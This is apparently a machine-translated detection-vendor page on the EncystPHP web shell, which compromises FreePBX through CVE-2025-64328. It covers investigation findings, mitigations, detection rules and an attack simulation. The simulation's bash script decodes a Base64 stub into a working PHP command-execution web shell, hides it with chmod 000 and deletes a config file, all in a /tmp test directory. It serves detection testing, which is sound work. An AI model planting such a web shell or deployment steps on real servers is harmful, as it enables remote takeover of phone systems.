EncystPHP: 永続的な管理者妥協のための武器化されたFreePBX Webシェル
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
FortiGuard LabsはPHPウェブシェル「 EncystPHP 」が公開FreePBXインスタンスにおいて脆弱性を利用して展開されると報告しました CVE-2025-64328。このインプラントはリモートコマンドの実行を可能にし、特権ユーザーをプロビジョニングし、cronジョブとその後のドロッパーを通じてレイヤードパーシステンスを設定します。この活動はINJ3CTOR3クルーと関連があり、通信環境を狙ったものであると思われます。公開されたインジケータには悪意のあるIP、ドメイン、URL、および複数の敵対的なファイルパスが含まれます。
調査
調査員は初期アクセスをFreePBXエンドポイントマネージャでのポストオーセンティケーションコマンドインジェクションの欠陥に遡りました。成功したエクスプロイトの後、オペレーターは 45.234.176.202からドロッパーを引き出し、主要なPHPコンポーネントの権限を緩和し、データベースの資格情報を抽出し、ルートレベルのアカウントを作成し、攻撃者が制御するSSHキーを追加します。パーシステンスはcronエントリで強化され、これが追加のドロッパーを繰り返し取得し、アーティファクトを更新します。EncystPHPは合法的なFreePBXファイルを模倣し、ルーチントリアージ中の視認性を低下させるためにタイムスタンプを操作します。
緩和策
FreePBXエンドポイントマネージャをできるだけ早く CVE-2025-64328 (および関連する修正)をアドレスしてパッチを適用してください。無許可ウェブシェルファイルや疑わしいcronスケジュール、新たに作成された特権を持つローカルユーザーを探してください。既知の悪意のあるインフラストラクチャへの外向きHTTPをブロックし、ウェブ面のディレクトリとPHP資産に厳しく、最小特権の権限を適用してください。
対応策
検出後、影響を受けたPBXサーバーを隔離し、EncystPHPのアーティファクトを削除し、不正なcronジョブを消去し、ローカルアカウントとSSHキーをリセットします。ログと設定バックアップを確認して変更スコープを確認し、現在のセキュリティアップデートを適用してウェブインターフェースを強化します。二次的なドロッパーやパーシステンスメカニズムが残っていないことを確認した上で、通常の電話操作を復旧してください。
攻撃フロー
検出
パーシステンスのための可能性のある新規アカウント [Linux] (via cmdline)
表示
Cronファイルが作成されました (via file_event)
表示
疑わしいフォルダへのダウンロード (via cmdline)
表示
SSH Known Hostsの可能性のある発見試行 [MacOS] (via cmdline)
表示
Base64エンコード文字列の可能な操作 (via cmdline)
表示
IOCs (DestinationIP) を検出するための:武器化されたウェブシェルEncystPHPを明かす 永続的なFreePBXウェブシェルを使用して長期的な管理者の妥協を可能にする
表示
IOCs (HashSha256) を検出するための:武器化されたウェブシェルEncystPHPを明かす 永続的なFreePBXウェブシェルを使用して長期的な管理者の妥協を可能にする
表示
IOCs (SourceIP) を検出するための:武器化されたウェブシェルEncystPHPを明かす 永続的なFreePBXウェブシェルを使用して長期的な管理者の妥協を可能にする
表示
k.phpとcドロッパーの持続的ダウンロードのためのCrontabエントリを検出 [Linuxプロセス作成]
表示
CVE-2025-64328によるEncystPHPウェブシェルの展開と持続性 [Linuxプロセス作成]
表示
FreePBXにおけるEncystPHPウェブシェル活動の検出 [Linuxファイルイベント]
表示
シミュレーション実行
前提条件: テレメトリ & ベースラインプリフライトチェックがパスしなければなりません。
根拠: このセクションは、検出ルールをトリガーするために意図された敵対技術(TTP)の正確な実行を詳述しています。コマンドとナラティブは特定されたTTPと直接的に一致し、検出ロジックによって期待される正確なテレメトリを生成する必要があります。
-
攻撃のナラティブとコマンド:
- EncystPHPウェブシェルをアップロードする – 攻撃者はBase64でエンコードされたPHPペイロードを作成し、HTTP POSTを介してFreePBXウェブUIに配信し、ファイル
ajax.phpを書き込む/var/www/html/admin/views/ajax.php. - 制限付き権限を設定する – 展開直後、攻撃者は
chmod 000 ajax.phpを実行して、通常のユーザーからのシェルを隠し、ウェブサーバーの特権アカウントの下で強制的に実行します (T1222.002)。 - 重要な設定を削除する – 検出を妨げ、マルウェアシェルでシステムがリロードされることを強制するために、攻撃者は
/etc/freepbx.confを削除します (T1070.004, T1562.001)。 - シェルをトリガーする – 新たに作成された
ajax.phpへの単純なHTTP GETによってペイロードが実行され、リバースシェルが確立されます (T1105, T1059.004)。
- EncystPHPウェブシェルをアップロードする – 攻撃者はBase64でエンコードされたPHPペイロードを作成し、HTTP POSTを介してFreePBXウェブUIに配信し、ファイル
-
回帰テストスクリプト: このスクリプトは制御されたテストディレクトリー(
/tmp/freepbx_test)でステップ1-3を再現し、実動システムには影響しません。# encystphp_simulation.sh set -euo pipefail # ----- Setup test directories (mirroring FreePBX layout) ----- TEST_ROOT="/tmp/freepbx_test" WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views" CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf" sudo mkdir -p "${WEB_ROOT}" sudo mkdir -p "$(dirname "${CONFIG_FILE}")" # ----- Create dummy config file (will be deleted) ----- echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null # ----- Base64‑encoded EncystPHP payload (very small stub) ----- PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+" # ----- Step 1: Deploy web shell ----- echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null echo "Web shell deployed at ${WEB_ROOT}/ajax.php" # ----- Step 2: Restrictive permission (000) ----- sudo chmod 000 "${WEB_ROOT}/ajax.php" echo "Permissions set to 000" # ----- Step 3: Delete critical config file ----- sudo rm -f "${CONFIG_FILE}" echo "Deleted ${CONFIG_FILE}" # ----- Optional: trigger the shell (simulated) ----- # curl -s "http://localhost/admin/views/ajax.php?cmd=id" echo "Simulation complete. Check SIEM for alerts." -
クリーンアップコマンド:
# cleanup_encystphp_simulation.sh set -euo pipefail TEST_ROOT="/tmp/freepbx_test" sudo rm -rf "${TEST_ROOT}" echo "Test environment cleaned."